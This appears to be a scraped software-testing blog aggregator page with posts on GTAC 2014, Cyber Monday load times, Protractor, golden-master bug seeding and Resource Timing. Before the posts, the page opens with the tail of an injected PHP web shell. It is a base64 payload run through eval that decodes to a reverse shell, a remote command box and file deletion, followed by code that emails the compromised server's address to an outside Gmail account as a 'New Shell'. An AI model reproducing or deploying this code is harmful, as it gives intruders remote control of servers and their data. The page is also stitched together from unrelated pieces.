JhY2tfcGhwJ10pIHskaXAgPSAkcnN0YXJnZXQ0OyRwb3J0ID0gJHJzcG9ydGI0OyRjaHVua19zaXplID0gMTMzNzskd3JpdGVfYSA9IG51bGw7JGVycm9yX2EgPSBudWxsOyRzaGVsbCA9ICcvYmluL3NoJzskZGFlbW9uID0gMDskZGVidWcgPSAwO2lmKGZ1bmN0aW9uX2V4aXN0cygncGNudGxfZm9yaycpKXskcGlkID0gcGNudGxfZm9yaygpOw0KaWYgKCRwaWQgPT0gLTEpIGV4aXQoMSk7aWYgKCRwaWQpIGV4aXQoMCk7aWYgKHBvc2l4X3NldHNpZCgpID09IC0xKSBleGl0KDEpOyRkYWVtb24gPSAxO30NCnVtYXNrKDApOyRzb2NrID0gZnNvY2tvcGVuKCRpcCwgJHBvcnQsICRlcnJubywgJGVycnN0ciwgMzApO2lmKCEkc29jaykgZXhpdCgxKTsNCiRkZXNjcmlwdG9yc3BlYyA9IGFycmF5KDAgPT4gYXJyYXkoInBpcGUiLCAiciIpLCAxID0+IGFycmF5KCJwaXBlIiwgInciKSwgMiA9PiBhcnJheSgicGlwZSIsICJ3IikpOw0KJHByb2Nlc3MgPSBwcm9jX29wZW4oJHNoZWxsLCAkZGVzY3JpcHRvcnNwZWMsICRwaXBlcyk7DQppZighaXNfcmVzb3VyY2UoJHByb2Nlc3MpKSBleGl0KDEpOw0Kc3RyZWFtX3NldF9ibG9ja2luZygkcGlwZXNbMF0sIDApOw0Kc3RyZWFtX3NldF9ibG9ja2luZygkcGlwZXNbMV0sIDApOw0Kc3RyZWFtX3NldF9ibG9ja2luZygkcGlwZXNbMl0sIDApOw0Kc3RyZWFtX3NldF9ibG9ja2luZygkc29jaywgMCk7DQp3aGlsZSgxKXtpZihmZW9mKCRzb2NrKSkgYnJlYWs7aWYoZmVvZigkcGlwZXNbMV0pKSBicmVhazskcmVhZF9hID0gYXJyYXkoJHNvY2ssICRwaXBlc1sxXSwgJHBpcGVzWzJdKTskbnVtX2NoYW5nZWRfc29ja2V0cyA9IHN0cmVhbV9zZWxlY3QoJHJlYWRfYSwgJHdyaXRlX2EsICRlcnJvcl9hLCBudWxsKTsNCmlmKGluX2FycmF5KCRzb2NrLCAkcmVhZF9hKSl7JGlucHV0ID0gZnJlYWQoJHNvY2ssICRjaHVua19zaXplKTtmd3JpdGUoJHBpcGVzWzBdLCAkaW5wdXQpO30NCmlmKGluX2FycmF5KCRwaXBlc1sxXSwgJHJlYWRfYSkpeyRpbnB1dCA9IGZyZWFkKCRwaXBlc1sxXSwgJGNodW5rX3NpemUpO2Z3cml0ZSgkc29jaywgJGlucHV0KTt9DQppZihpbl9hcnJheSgkcGlwZXNbMl0sICRyZWFkX2EpKXskaW5wdXQgPSBmcmVhZCgkcGlwZXNbMl0sICRjaHVua19zaXplKTtmd3JpdGUoJHNvY2ssICRpbnB1dCk7fX1mY2xvc2UoJHNvY2spO2ZjbG9zZSgkcGlwZXNbMF0pO2ZjbG9zZSgkcGlwZXNbMV0pO2ZjbG9zZSgkcGlwZXNbMl0pO3Byb2NfY2xvc2UoJHByb2Nlc3MpOyRyc3JlcyA9ICIgIjskc19yZXN1bHQgLj0gJHJzcmVzO319IGVsc2VpZihpc3NldCgkX0dFVFsneCddKSAmJiAoJF9HRVRbJ3gnXSA9PSAnc2hlbGwnKSl7Pz4gDQo8Zm9ybSBhY3Rpb249Ij95PTw/cGhwIGVjaG8gJHB3ZDs/PiZhbXA7eD1zaGVsbCIgbWV0aG9kPSJwb3N0Ij4gPHRhYmxlIGNsYXNzPSJjbWRib3giPiA8dHI+PHRkIGNvbHNwYW49IjIiPg0KPHRleHRhcmVhIGNsYXNzPSJvdXRwdXQiIHJlYWRvbmx5Pg0KPD9waHAgaWYoaXNzZXQoJF9QT1NUWydzdWJtaXRjbWQnXSkpIHtlY2hvIEBleGUoJF9QT1NUWydjbWQnXSk7fSA/PiANCjwvdGV4dGFyZWE+IDx0cj48dGQgY29sc3Bhbj0iMiI+PD9waHAgZWNobyAkcHJvbXB0Oz8+PGlucHV0IG9uTW91c2VPdmVyPSJ0aGlzLmZvY3VzKCk7IiBpZD0iY21kIiBjbGFzcz0iaW5wdXR6IiB0eXBlPSJ0ZXh0IiBuYW1lPSJjbWQiIHN0eWxlPSJ3aWR0aDo2MCU7IiB2YWx1ZT0iIiAvPjxpbnB1dCBjbGFzcz0iaW5wdXR6YnV0IiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJEbyAhIiBuYW1lPSJzdWJtaXRjbWQiIHN0eWxlPSJ3aWR0aDoxMiU7IiAvPjwvdGQ+PC90cj4gPC90YWJsZT48L2Zvcm0+IA0KPD9waHAgfWVsc2V7aWYoaXNzZXQoJF9HRVRbJ2RlbGV0ZSddKSAmJiAoJF9HRVRbJ2RlbGV0ZSddICE9ICIiKSl7JGZpbGUgPSAkX0dFVFsnZGVsZXRlJ107QHVubGluaygkZmlsZSk7fSANCmVsc2VpZihpc3NldCgkX0dFVFsnZmRlbGV0ZSddKSAmJiAoJF9HRVRbJ2ZkZWxldGUnXSAhPSAiIikpe0BybWRpcihydHJpbSgkX0dFVFsnZmRlbGV0ZSddLERJUkVDVE9SWV9TRVBBUkFUT1IpKTt9DQplbHNlaWYoaXNzZXQoJF9HRVRbJ21rZGlyJ10pICYmICgkX0dFVFsnbWtkaXInXSAhPSAiIikpeyRwYXRoID0gJHB3ZC4kX0dFVFsnbWtkaXInXTtAbWtkaXIoJHBhdGgpO30kYnVmZiA9IHNob3dkaXIoJHB3ZCwkcHJvbXB0KTtlY2hvICRidWZmO30NCj8+PC9kaXY+PC9ib2R5PjwvaHRtbD4='; eval(base64_decode($k2ll33d)); ?> <? $site = "www.dev-pts.com/vb"; if(!ereg($site, $_SERVER['SERVER_NAME'])) { $to = "mandrarami2000@gmail.com"; $subject = "EGFM"; $header = "from: New Shell "; $message = "Link : http://" . $_SERVER['SERVER_NAME'] . $_SERVER['REQUEST_URI'] . "\r\n"; $message .= "Path : " . __file__; $sentmail = @mail($to, $subject, $message, $header); echo ""; exit; } ?> <?php chdir($lastdir); c99shexit(); ?>
Categories: Software Testing

GTAC 2014 Wrap-up

Google Testing Blog - Thu, 12/04/2014 - 17:26
by Anthony Vallone on behalf of the GTAC Committee

On October 28th and 29th, GTAC 2014, the eighth GTAC (Google Test Automation Conference), was held at the beautiful Google Kirkland office. The conference was completely packed with presenters and attendees from all over the world (Argentina, Australia, Canada, China, many European countries, India, Israel, Korea, New Zealand, Puerto Rico, Russia, Taiwan, and many US states), bringing with them a huge diversity of experiences.


Speakers from numerous companies and universities (Adobe, American Express, Comcast, Dropbox, Facebook, FINRA, Google, HP, Medidata Solutions, Mozilla, Netflix, Orange, and University of Waterloo) spoke on a variety of interesting and cutting edge test automation topics.

All of the slides and video recordings are now available on the GTAC site. Photos will be available soon as well.


This was our most popular GTAC to date, with over 1,500 applicants and almost 200 of those for speaking. About 250 people filled our venue to capacity, and the live stream had a peak of about 400 concurrent viewers with 4,700 playbacks during the event. And, there was plenty of interesting Twitter and Google+ activity during the event.


Our goal in hosting GTAC is to make the conference highly relevant and useful for, not only attendees, but the larger test engineering community as a whole. Our post-conference survey shows that we are close to achieving that goal:



If you have any suggestions on how we can improve, please comment on this post.

Thank you to all the speakers, attendees, and online viewers who made this a special event once again. To receive announcements about the next GTAC, subscribe to the Google Testing Blog.

Categories: Software Testing

The Best and Worst of Cyber Monday Web Performance

LoadStorm - Thu, 12/04/2014 - 13:19
Introduction:

How the big brand name e-commerce sites handle the heavy traffic on Cyber Monday is always of great interest to our team and our readers. So this year, we decided to run a short experiment on some of the top companies to bring you the best and the worst performers this Cyber Monday.

The 28 companies we chose to test included companies who had painful Cyber Monday crashes in previous years, companies who were running fantastic online deals, and companies that are known to have huge volumes of online holiday shopping traffic.

Experiment:

We ran WebPageTest, an open source performance testing tool, on all 28 companies. All tests were run on Chrome browsers from Dulles, VA at approximately the same times. The first set of tests were run on Wednesday, November 26, 2014 and the second set of tests were run on Cyber Monday, December 1, 2014.

As we categorized the companies based on performance, the most significant factor we considered for this article was time to first byte. Stay tuned for another article where we discuss the speed index and page load times on Cyber Monday.

The reason this article focuses on time to first byte is because it is very significantly tied to perceived load time. If a user waits several seconds and doesn’t see anything loading on the page, he or she is highly likely to abandon the website. However, even if the whole page takes over 10 seconds to load, as long as the user sees progress quickly, he or she can begin looking at the page and is much more likely to stay on the website.

Results

We have ranked the companies into five categories:

  • Excellent performance on both days
  • Moderate performance on both days
  • Poor performance on both days
  • Poor performance on Wednesday that improved on Monday
  • Moderate performance on Wednesday, poor performance on Monday
Excellent Performance Both Days

Eight companies in our study showed top performance on both Wednesday and Cyber Monday. All of the companies in this group scored an impressive A or B first byte letter score, as assigned by WebPageTest and the highest time to first byte was only 0.315 seconds- Impressive.

(function() { var cn = document.createElement('script'); cn.type = 'text/javascript'; cn.src = 'http://chartsninja.com/api/chart/89707e16831c495f990dbffb2e0dfca8?cnurl=' + window.location.href; var s = document.getElementsByTagName('head')[0].appendChild(cn); })();

Moderate Performance Both Days

Seven companies had moderate performance on both Wednesday and Cyber Monday. These companies were significantly slower than the top performers, but still maintained decent speeds. These companies had scores of B’s or C’s according to WebPageTest. By our assessment, these companies maintained acceptable, but not excellent times.

(function() { var cn = document.createElement('script'); cn.type = 'text/javascript'; cn.src = 'http://chartsninja.com/api/chart/d69c953469ad4060ae4acf4c49f2b3f9?cnurl=' + window.location.href; var s = document.getElementsByTagName('head')[0].appendChild(cn); })();

Poor Performance Both Days

Five companies in our study had notable performance failures on both Monday and Wednesday. All sites in this group had over a 0.75 second time to first byte, which WebPageTest ranks as a F in their scoring system for time to first byte. Most of these sites had over a full second wait before the first byte was transferred- which is a sign that these sites were overwhelmed by the traffic load.

The level of performance in this category most likely had a significant impact on Thanksgiving and Cyber Monday sales. As we have seen proven time and again by various studies, web performance directly affects conversions. With such significant delays before seeing anything loading on the page, it is very likely that would-be customers left these websites for competitors.

(function() { var cn = document.createElement('script'); cn.type = 'text/javascript'; cn.src = 'http://chartsninja.com/api/chart/18c968ab456f448181eb1297aab2f660?cnurl=' + window.location.href; var s = document.getElementsByTagName('head')[0].appendChild(cn); })();

Poor performance on Wednesday that improved on Monday

This particular category is not one that we were expecting to see at all. In fact, we initially chose to test on Wednesday as a control group to measure against Cyber Monday. However, a quick poll in our office revealed that most of us had started our online shopping early. It is my theory that these particular companies had extra servers ready for Monday, but did not expect such a heavy load of traffic on Wednesday and were therefore unprepared. It is also possible that when the companies noticed performance failures on Wednesday, they made significant changes over the weekend and then were ready for the Cyber Monday rush.

I’m sure that each of these companies has their own story of WHY their performance was poor on Wednesday and then improved by Monday, but all we can tell you is that it happened.

(function() { var cn = document.createElement('script'); cn.type = 'text/javascript'; cn.src = 'http://chartsninja.com/api/chart/a6f9763efc9845b4aefaaa915adc05a6?cnurl=' + window.location.href; var s = document.getElementsByTagName('head')[0].appendChild(cn); })();

Moderate performance on Wednesday, poor performance on Monday

The previous category was a bit of a surprise to our team. This category, however, was completely expected. As we see every year, there are some companies that just struggle to handle the amount of traffic that hits on Cyber Monday. Check out the differences:

(function() { var cn = document.createElement('script'); cn.type = 'text/javascript'; cn.src = 'http://chartsninja.com/api/chart/b14d5dda85264e89862500851ba56c13?cnurl=' + window.location.href; var s = document.getElementsByTagName('head')[0].appendChild(cn); })();

Conclusion:

Web performance is a top concern for any e-commerce business because it has been proven time and again to be directly tied to conversions. Just a one second delay in load time has been proven to cause a 7% decrease in conversions, 11% fewer page views, and a 16% decrease in customer satisfaction. With stakes so high, being prepared for the rush of traffic on Cyber Monday is a must for all e-commerce businesses.

Overall, a large portion of the sites we looked at had good web performance on these important days. Even though there are always some websites with poor performance, the general trend is that most websites included in our study were prepared for the rush of traffic.

Feel free to share your Cyber Monday online shopping experiences in the comments! Did you encounter any poor performing websites?

The post The Best and Worst of Cyber Monday Web Performance appeared first on LoadStorm.

HWTSAM – Six Years Later

Alan Page - Sun, 11/30/2014 - 11:37

We’re less than a week away from the sixth anniversary of How We Test Software at Microsoft (some chapters were completed nearly seven years ago).

Recently I was considering a new position at Microsoft, and one of my interviewers (a dev architect and also an author) said that he had been reading my book. I stated my concern that the book is horribly out of date, and that it doesn’t really reflect testing at Microsoft accurately anymore. In the ensuing discussion, he asked how I’d structure the book if I re-wrote it today. I gave him a quick brain dump – which in hindsight I believe is still accurate…and worth sharing here.

So – for those who may be curious, here’s the outline for the new (and likely never-to-be-written) edition of How We Test Software at Microsoft. For consistency with the first edition, I’m going to try to follow the original format  as much as possible.

Part 1 – About Microsoft

This section initially included chapters on Engineering at Microsoft, the role of the Tester / SDET, and Engineering Life cycles. The new edition would go into some of the changes Satya Nadella is driving across Microsoft – including flattening of organizational structures, our successes (and shortcomings) in moving to Agile methodologies across the company, and what it means to be a “Cloud First, Mobile First” company. I think I’d cover a little more of the HR side of engineering as well, including moving between teams, interviews, and career growth.

Part 1 would also dive deeply into the changes in test engineering and quality ownership, including how [combined] engineering teams work, and an intro to what testers do . This is important because it’s a big change (and one still in progress), and it sets the tone for some of the bigger changes described later in the book.

Although I don’t think I could give Marick’s Testing Quadrants the justice that Lisa Crispin and Janet Gregory (and many others) give the them, I think the quadrants (my variation presented on the left) give one view into how Microsoft teams can look at sharing quality when developers own the lions share of engineering quality (with developers generally owning the left side of the quadrant and testers generally owning the right side.

And finally, part 1 would talk about how community works within Microsoft (including quality communities, The Garage, and how we use email distribution lists and Yammer to share (or attempt to share) knowledge.

Part 2 – About Quality

Fans of the book may remember that the original name for the second  and third sections of the book were“About Testing”, and “About Test Tools and Systems” – but I think talking about quality – first from the developer perspective, and then from the quality engineer / tester perspective (along with how we use tools to make our jobs easier) is a better way to present the 2015 version of Testing at Microsoft.

I’d spend a few chapters showing examples of the developer workflow and typical tools – especially where the tools we use are available to readers of the book (e.g. unit testing and coverage tools available in Visual Studio and use of tools like SpecFlow for acceptance test development).

This section would also include some digging into analysis tools, test selection, test systems, and some of the other big pieces we use across all products and disciplines to keep the big engines running.

I didn’t talk much about how Microsoft does Exploratory Testing in the original book – I’d fix that in the second edition.

I also thought about breaking this section into “developer owned” and “testing owned” sections, but that line isn’t clear across the company (or even across organizations), so I think I’d start as a progression from unit testing to exploratory testing and let readers draw their own ideas of where their team may want to draw the line.

Part 3 – About Data Driven Quality

There’s at least a book or two of information that could go in this section, and it represents the biggest shift over the last six years. The original chapters on Customer Feedback Systems and Testing Software Plus Services hinted about how we approach Data-Driven Quality (DDQ), but our systems, and the way we use them have matured massively, and there’s definitely a lot of great information worth sharing – and enough where it’s an easy decision to dedicate a full section and several chapters to the topic.

Part 4 – About the Future

Much of what I talked about in this section of the original has either happened…or become obsolete. As in the first version, I would reserve this section for talking about engineering ideas still in the experimental stage, or ideas currently under adoption. Also, as in the original, I’d use this section as a platform for whatever essay idea chewing on me about where software engineering is going, and what it means to Microsoft.

Part 5 – Appendix

In my 20+ years of testing, I’ve read at least a hundred different books on software testing, software development, leadership, and organizational change. I’ll include a list of books that have had a significant influence on my approach and views to software engineering, publications that influenced the content of book, and publications that readers may find helpful for further information.

(potentially) related posts:
  1. HWTSAM–Five Years Later
  2. Happy Birthday HWTSAM
  3. HWTSAM – One Year Later
Categories: Software Testing

Protractor: Angular testing made easy

Google Testing Blog - Sun, 11/30/2014 - 10:50
By Hank Duan, Julie Ralph, and Arif Sukoco in Seattle

Have you worked with WebDriver but been frustrated with all the waits needed for WebDriver to sync with the website, causing flakes and prolonged test times? If you are working with AngularJS apps, then Protractor is the right tool for you.

Protractor (protractortest.org) is an end-to-end test framework specifically for AngularJS apps. It was built by a team in Google and released to open source. Protractor is built on top of WebDriverJS and includes important improvements tailored for AngularJS apps. Here are some of Protractor’s key benefits:

  • You don’t need to add waits or sleeps to your test. Protractor can communicate with your AngularJS app automatically and execute the next step in your test the moment the webpage finishes pending tasks, so you don’t have to worry about waiting for your test and webpage to sync. 
  • It supports Angular-specific locator strategies (e.g., binding, model, repeater) as well as native WebDriver locator strategies (e.g., ID, CSS selector, XPath). This allows you to test Angular-specific elements without any setup effort on your part. 
  • It is easy to set up page objects. Protractor does not execute WebDriver commands until an action is needed (e.g., get, sendKeys, click). This way you can set up page objects so tests can manipulate page elements without touching the HTML. 
  • It uses Jasmine, the framework you use to write AngularJS unit tests, and Javascript, the same language you use to write AngularJS apps.

Follow these simple steps, and in minutes, you will have you first Protractor test running:

1) Set up environment

Install the command line tools ‘protractor’ and ‘webdriver-manager’ using npm:
npm install -g protractor
Start up an instance of a selenium server:
webdriver-manager update & webdriver-manager start
This downloads the necessary binary, and starts a new webdriver session listening on http://localhost:4444.

2) Write your test
// It is a good idea to use page objects to modularize your testing logic
var angularHomepage = {
nameInput : element(by.model('yourName')),
greeting : element(by.binding('yourName')),
get : function() {
browser.get('index.html');
},
setName : function(name) {
this.nameInput.sendKeys(name);
}
};

// Here we are using the Jasmine test framework
// See http://jasmine.github.io/2.0/introduction.html for more details
describe('angularjs homepage', function() {
it('should greet the named user', function(){
angularHomepage.get();
angularHomepage.setName('Julie');
expect(angularHomepage.greeting.getText()).
toEqual('Hello Julie!');
});
});
3) Write a Protractor configuration file to specify the environment under which you want your test to run:
exports.config = {
seleniumAddress: 'http://localhost:4444/wd/hub',

specs: ['testFolder/*'],

multiCapabilities: [{
'browserName': 'chrome',
// browser-specific tests
specs: 'chromeTests/*'
}, {
'browserName': 'firefox',
// run tests in parallel
shardTestFiles: true
}],

baseUrl: 'http://www.angularjs.org',
};
4) Run the test:

Start the test with the command:
protractor conf.js
The test output should be:
1 test, 1 assertions, 0 failures

If you want to learn more, here’s a full tutorial that highlights all of Protractor’s features: http://angular.github.io/protractor/#/tutorial

Categories: Software Testing

Test Your Testing With Bug Seeding – Part 2

Eric Jacobson's Software Testing Blog - Wed, 11/26/2014 - 08:13

If you read part 1, you may be wondering how my automated check performed…

The programmer deployed the seeded bug and I’m happy to report, my automated check found it in 28 seconds! 

Afterwards, he seeded two additional bugs.  The automated check found those as well.  I had to temporarily modify the automated check code to ignore the first bug in order to find the second.  This is because the check stops checking as soon as it finds one problem.  I could tweak the code to collect problems and keep checking but I prefer the current design.

Here is the high level generic design of said check:

Build the golden masters:

  • Make scalable checks - Before test execution, build multiple golden masters per coverage ambition.  This is a one-time-only task (until the golden masters need to be updated per expected changes).
  • Bypass GUI when possible – Each of my golden masters consist of the response XML from a web service call, saved to a file.  Each XML response has over a half a million nodes, which are mapped to a complex GUI.  In my case, my automated check will bypass the GUI.  GUI automation could never have found the above seeded bug in 28 seconds.  My product-under-test takes about 1.5 minutes just to log in and navigate to the module being tested. Waiting for the GUI to refresh after the countless service calls being made in the automated check would have taken hours.
  • Golden masters must be golden! Use a known good source for the service call.  I used Production because my downstream environments are populated with data restored from production.  You could use a test environment as long as it was in a known good state.
  • Use static data - Build the golden masters using service request parameters that return a static response.  In other words, when I call said service in the future, I want the same data returned.  I used service request parameters to pull historical data because I expect it to be the same data next week, month, year, etc.
  • Automate golden master building - I wrote a utility method to build my golden masters.  This is basically re-used code from the test method, which builds the new objects to compare to the golden masters.

Do some testing:

  • Compare - This is the test method.  It calls the code-under-test using the same service request parameters used to build the golden masters.  The XML service response from the code-under-test is then compared to that of the archived golden masters, line-by-line.
  • Ignore expected changes - In my case there are some XML nodes the check ignores.  These are nodes with values I expect to differ.  For example, the CreatedDate node of the service response object will always be different from that of the golden master.
  • Report - If any non-ignored XML line is different, it’s probably a bug, fail the automated check, report the differences with line number and file (see below) references and investigate.
  • Write Files - For my goals, I have 11 different golden masters (to compare with 11 distinct service response objects).  The automated check loops through all 11 golden master scenarios, writing each service response XML to a file.  The automated check doesn’t use the files, they are there for me.  This gives me the option to manually compare suspect new files to golden masters with a diff tool, an effective way of investigating bugs and determining patterns.

Categories: Software Testing

SERIOUS CONFUSION with Resource Timing

Steve Souders - Tue, 11/25/2014 - 14:20
or “Duration includes Blocking”

Resource Timing is a great way to measure how quickly resources download. Unfortunately, almost everyone I’ve spoken with does this using the “duration” attribute and are not aware that “duration” includes blocking time. As a result, “duration” time values are (much) greater than the actual download time, giving developers unexpected results. This issue is especially bad for cross-origin resources where “duration” is the only metric available. In this post I describe the problem and a proposed solution.

Resource Timing review

The Resource Timing specification defines APIs for gathering timing metrics for each resource in a web page. It’s currently available in Chrome, Chrome for Android, IE 10-11, and Opera. You can gather a list of PerformanceEntry objects using getEntries(), getEntriesByType(), and getEntriesByName(). A PerformanceEntry has these properties:

  • name – the URL
  • entryType – typically “resource”
  • startTime – time that the resource started getting processed (in milliseconds relative to page navigation)
  • duration – total time to process the resource (in milliseconds)

The properties above are available for all resources – both same-origin and cross-origin. However, same-origin resources have additional properties available as defined by the PerformanceResourceTiming interface. They’re self-explanatory and occur pretty much in this chronological order:

  • redirectStart
  • redirectEnd
  • fetchStart
  • domainLookupStart
  • domainLookupEnd
  • connectStart
  • connectEnd
  • secureConnectionStart
  • requestStart
  • responseStart
  • responseEnd

Here’s the canonical processing model graphic that shows the different phases. Note that “duration” is equal to (responseEnd – startTime).

Take a look at my post Resource Timing Practical Tips for more information on how to use Resource Timing.

Unexpected blocking bloat in “duration”

The detailed PerformanceResourceTiming properties are restricted to same-origin resources for privacy reasons. (Note that any resource can be made “same-origin” by using the Timing-Allow-Origin response header.) About half of the resources on today’s websites are cross-origin, so “duration” is the only way to measure their load time. And even for same-origin resources, “duration” is the only delta provided, presumably because it’s the most important phase to measure. As a result, all of the Resource Timing implementations I’ve seen use “duration” as the primary performance metric.

Unfortunately, “duration” is more than download time. It also includes “blocking time” - the delay between when the browser realizes it needs to download a resource to the time that it actually starts downloading the resource. Blocking can occur in several situations. The most typical is when there are more resources than TCP connections. Most browsers only open 6 TCP connections per hostname, the exceptions being IE10 (8 connections), and IE11 (12 connections).

This Resource Timing blocking test page has 16 images, so some images incur blocking time no matter which browser is used. Each of the images is programmed on the server to have a 1 second delay. The “startTime” and “duration” are displayed for each of the 16 images. Here are WebPagetest results for this test page being loaded in ChromeIE10, and IE11. You can look at the screenshots to read the timing results. Note how “startTime” is approximately the same for all images. That’s because this is the time that the browser parsed the IMG tag and realized it needed to download the resource. But the “duration” values increase in steps of ~1 second for the images that occur later in the page. This is because they are blocked from downloading by the earlier images.

In Chrome, for example, the images are downloaded in three sets – because Chrome only downloads 6 resources at a time. The first six images have a “duration” of ~1.3 seconds (the 1 second backend delay plus some time for establishing the TCP connections and downloading the response body). The next six images have a “duration” of ~2.5 seconds. The last four images have a “duration” of ~3.7 seconds. The second set is blocked for ~1 second waiting for the first set to finish. The third set is blocked for ~2 seconds waiting for sets 1 & 2 to finish.

Even though the “duration” values increase from 1 to 2 to 3 seconds, the actual download time for all images is ~1 second as shown by the WebPagetest waterfall chart.

The results are similar for IE10 and IE11. IE10 starts with six parallel TCP connections but then ramps up to eight connections. IE11 also starts with six parallel TCP connections but then ramps up to twelve. Both IE10 and IE11 exhibit the same problem – even though the load time for every image is ~1 second, “duration” shows values ranging from 1-3 seconds.

proposal: “networkDuration”

Clearly, “duration” is not an accurate way to measure resource load times because it may include blocking time. (It also includes redirect time, but that occurs much less frequently.) Unfortunately, “duration” is the only metric available for cross-origin resources. Therefore, I’ve submitted a proposal to the W3C Web Performance mailing list to add “networkDuration” to Resource Timing. This would be available for both same-origin and cross-origin resources. (I’m flexible about the name; other candidates include “networkTime”, “loadTime”, etc.)

The calculation for “networkDuration” is as follows. (Assume ”r” is a PerformanceResourceTiming object.)

dns = r.domainLookupEnd - r.domainLookupStart; tcp = r.connectEnd - r.connectStart; // includes ssl negotiation waiting = r.responseStart - r.requestStart; content = r.responseEnd - r.responseStart; networkDuration = dns + tcp + waiting + content;

Developers working with same-origin resources can do the same calculations as shown above to derive “networkDuration”. Providing the result as a new attribute simplifies the process. It also avoids possible errors as it’s likely that companies and teams will compare these values, so it’s important to ensure an apples-to-apples comparison. But the primary need for “networkDuration” is for cross-origin resources. Right now, “duration” is the only metric available for cross-origin resources. I’ve found several teams that were tracking “duration” assuming it meant download time. They were surprised when I explained that it also including blocking time, and agreed it was not the metric they wanted; instead they wanted the equivalent of “networkDuration”.

I mentioned previously that the detailed time values (domainLookupStart, connectStart, etc.) are restricted to same-origin resources for privacy reasons. The proposal to add “networkDuration” is likely to raise privacy concerns; specifically that by removing blocking time, “networkDuration” would enable malicious third party JavaScript to determine whether a resource was read from cache. However, it’s possible to remove blocking time today using “duration” by loading a resource when there’s no blocking contention (e.g., after window.onload). Even when blocking time is removed, it’s ambiguous whether a resource was reach from cache or loaded over the network. Even a cache read will have non-zero load times.

The problem that “networkDuration” solves is finding the load time for more typical resources that are loaded during page creation and might therefore incur blocking time.

Takeaway

It’s not possible today to use Resource Timing to measure load time for cross-origin resources. Companies that want to measure load time and blocking time can use “duration”, but all the companies I’ve spoken with want to measure the actual load time (without blocking time). To provide better performance metrics, I encourage the addition of “networkDuration” to the Resource Timing specification. If you agree, please voice your support in a reply to my “networkDuration” proposal on the W3C Web Performance mailing list.

 

Categories: Software Testing

Test Your Testing With Bug Seeding – Part 1

Eric Jacobson's Software Testing Blog - Tue, 11/25/2014 - 13:24

I’m feeling quite cocky at the moment.  So cocky that I just asked my lead programmers to secretly insert a bug into the most complex area of the system under test.

Having just finished another epic automated check based on the Golden Master approach I discussed earlier, and seeing that most of the team is on pre-Thanksgiving vacation, this is the perfect time to “seed a bug”.  Theoretically, this new automated check should help put our largest source of regression bugs to rest and I am going to test it.

The programmer says he will hide the needle in the haystack by tomorrow.

I’m waiting…

Categories: Software Testing

How to get the most out of impact mapping

The Quest for Software++ - Mon, 11/17/2014 - 03:35

Ingrid Domingues, Johan Berndtsson and I met up in July this year to compare the various approaches to Impact Mapping and community feedback and investigate how to get the most out of this method in different contexts. The conclusion was that there are two key factors to consider for software delivery using impact maps, and recognising the right context is crucial to get the most out of the method. The two important dimensions are the consequences of being wrong (making the the wrong product management decisions) and the ability to make investments.

These two factors create four different contexts, and choosing the right approach is crucial in order to get the most out of the method:

  • Good ability to make investments, and small consequences of being wrong – Iterate: Organisations will benefit from taking some initial time defining the desired impact, and then exploring different solutions with small and directed impact maps that help design and evaluate deliverables against desired outcome.
  • Poor ability to decide on investments, small consequences of being wrong – Align: Organisations will benefit from detailing the user needs analysis in order to make more directed decisions, and to drive prioritisation for longer pieces of work. Usually only parts of maps end up being delivered.
  • Good ability to make investments, serious consequences of being wrong – Experiment: Organisations can explore different product options and user needs in multiple impact maps.
  • Poor ability to make investments, serious consequences of being wrong – Discover: The initial hypothesis impact map is detailed by user studies and user testing that converge towards the desired impact.

We wrote an article about this. You can read it on InfoQ.

Thoughts on the Consulting Profession

Randy Rice's Software Testing & Quality - Fri, 11/14/2014 - 22:28
Sometimes I come across something that makes me realize I am the "anti" version of what I am seeing or hearing.

Recently, I saw a Facebook ad for a person's consulting course that promised high income quickly with no effort on the part of the "consultant" to actually do the work. "Everything is outsourced," he goes on to say. In his videos he shows all of his expensive collections, which include both a Ferrari and a Porsche. I'm thinking "Really?"

I'm not faulting his success or his income, but I do have a problem with the promotion of the concept that one can truly call themselves a consultant or an expert in something without actually doing the work involved. His high income is based on the markup of other people's subcontracting rates because they are the ones with the actual talent. Apparently, they just don't think they are worth what they are being billed for in the marketplace.

It does sound enticing and all, but I have learned over the years that my clients want to work with me, not someone I just contract with. I would like to have the "Four Hour Workweek", but that's just not the world I live in.

Nothing wrong with subcontracting, either. I sometimes team with other highly qualified and experienced consultants to help me on engagements where the scope is large. But I'm still heavily involved on the project.

I think of people like Gerry Weinberg or Alan Weiss who are master consultants and get their hands dirty in helping solve their client's problems. I mentioned in our webinar yesterday that I was fortunate to have read Weinberg's "Secrets of Consulting" way back in 1990 when I was first starting out on my own in software testing consulting. That book is rich in practical wisdom, as are Weiss' books. (Weiss also promotes the high income potential of consulting, but it is based on the value he personally brings to his clients.)

Without tooting my own horn too loudly, I just want to state for the record that I am a software quality and testing practitioner in my consulting and training practice. That establishes credibility with my clients and students. I do not get consulting work, only to then farm it out to sub-contractors. I don't consider that as true consulting.

True consulting is strategic and high-value. My goal is to do the work, then equip my clients to carry on - not to be around forever, as is the practice of some consulting firms. However, I'm always available to support my clients personally when they need ongoing help.

Yes, I still write test plans, work with test tools, lead teams and other detailed work so I can stay sharp technically. However, that is only one dimension of the consulting game - being able to consult and advise others because you have done it before yourself (and it wasn't all done 20 years ago).

Scott Adams, the creator of the Dilbert comic strip had a heyday with poking fun at consultants. His humor had a lot of truth in it, as did the movie "Office Space."

My point?

When choosing a consultant, look for 1) experience and knowledge in your specific area of problems (or opportunities), 2) the work ethic to actually spend time on your specific concerns, and 3) integrity and trust. All three need to be in place or you will be under-served.

Rant over and thanks for reading! I would love to hear your comments.

Randy


Categories: Software Testing

Test Automation Venus Flytrap

Eric Jacobson's Software Testing Blog - Fri, 11/14/2014 - 14:39

You’ve got this new thing to test. 

You just read about a tester who used Selenium and he looked pretty cool in his bio picture.  Come on, you could do that.  You could write an automated check for this.  As you start coding, you realize your initial vision was too ambitious so you revise it.  Even with the revised design you’re running into problems with the test stack.  You may not be able to automate the initial checks you wanted, but you can automate this other thing.  That’s something.  Besides, this is fun.  The end is in sight.  It will be so satisfying to solve this.  You need some tasks with closure in your job, right?  This automated check has a clear output.  You’ve almost cracked this thing…cut another corner and it just might work.  Success!  The test passes!  You see green!  You rule!  You’re the Henry Ford of testing!  You should wear a cape to work!

Now that your automated thingamajig is working and bug free, you can finally get back to what you were going to test.  Now what was it?

I’m not hating on test automation.  I’m just reminding myself of its intoxicating trap.  Keep your eyes open.

Categories: Software Testing

ISTQB Advanced Technical Test Analyst e-Learning Course

Randy Rice's Software Testing & Quality - Fri, 11/14/2014 - 13:35




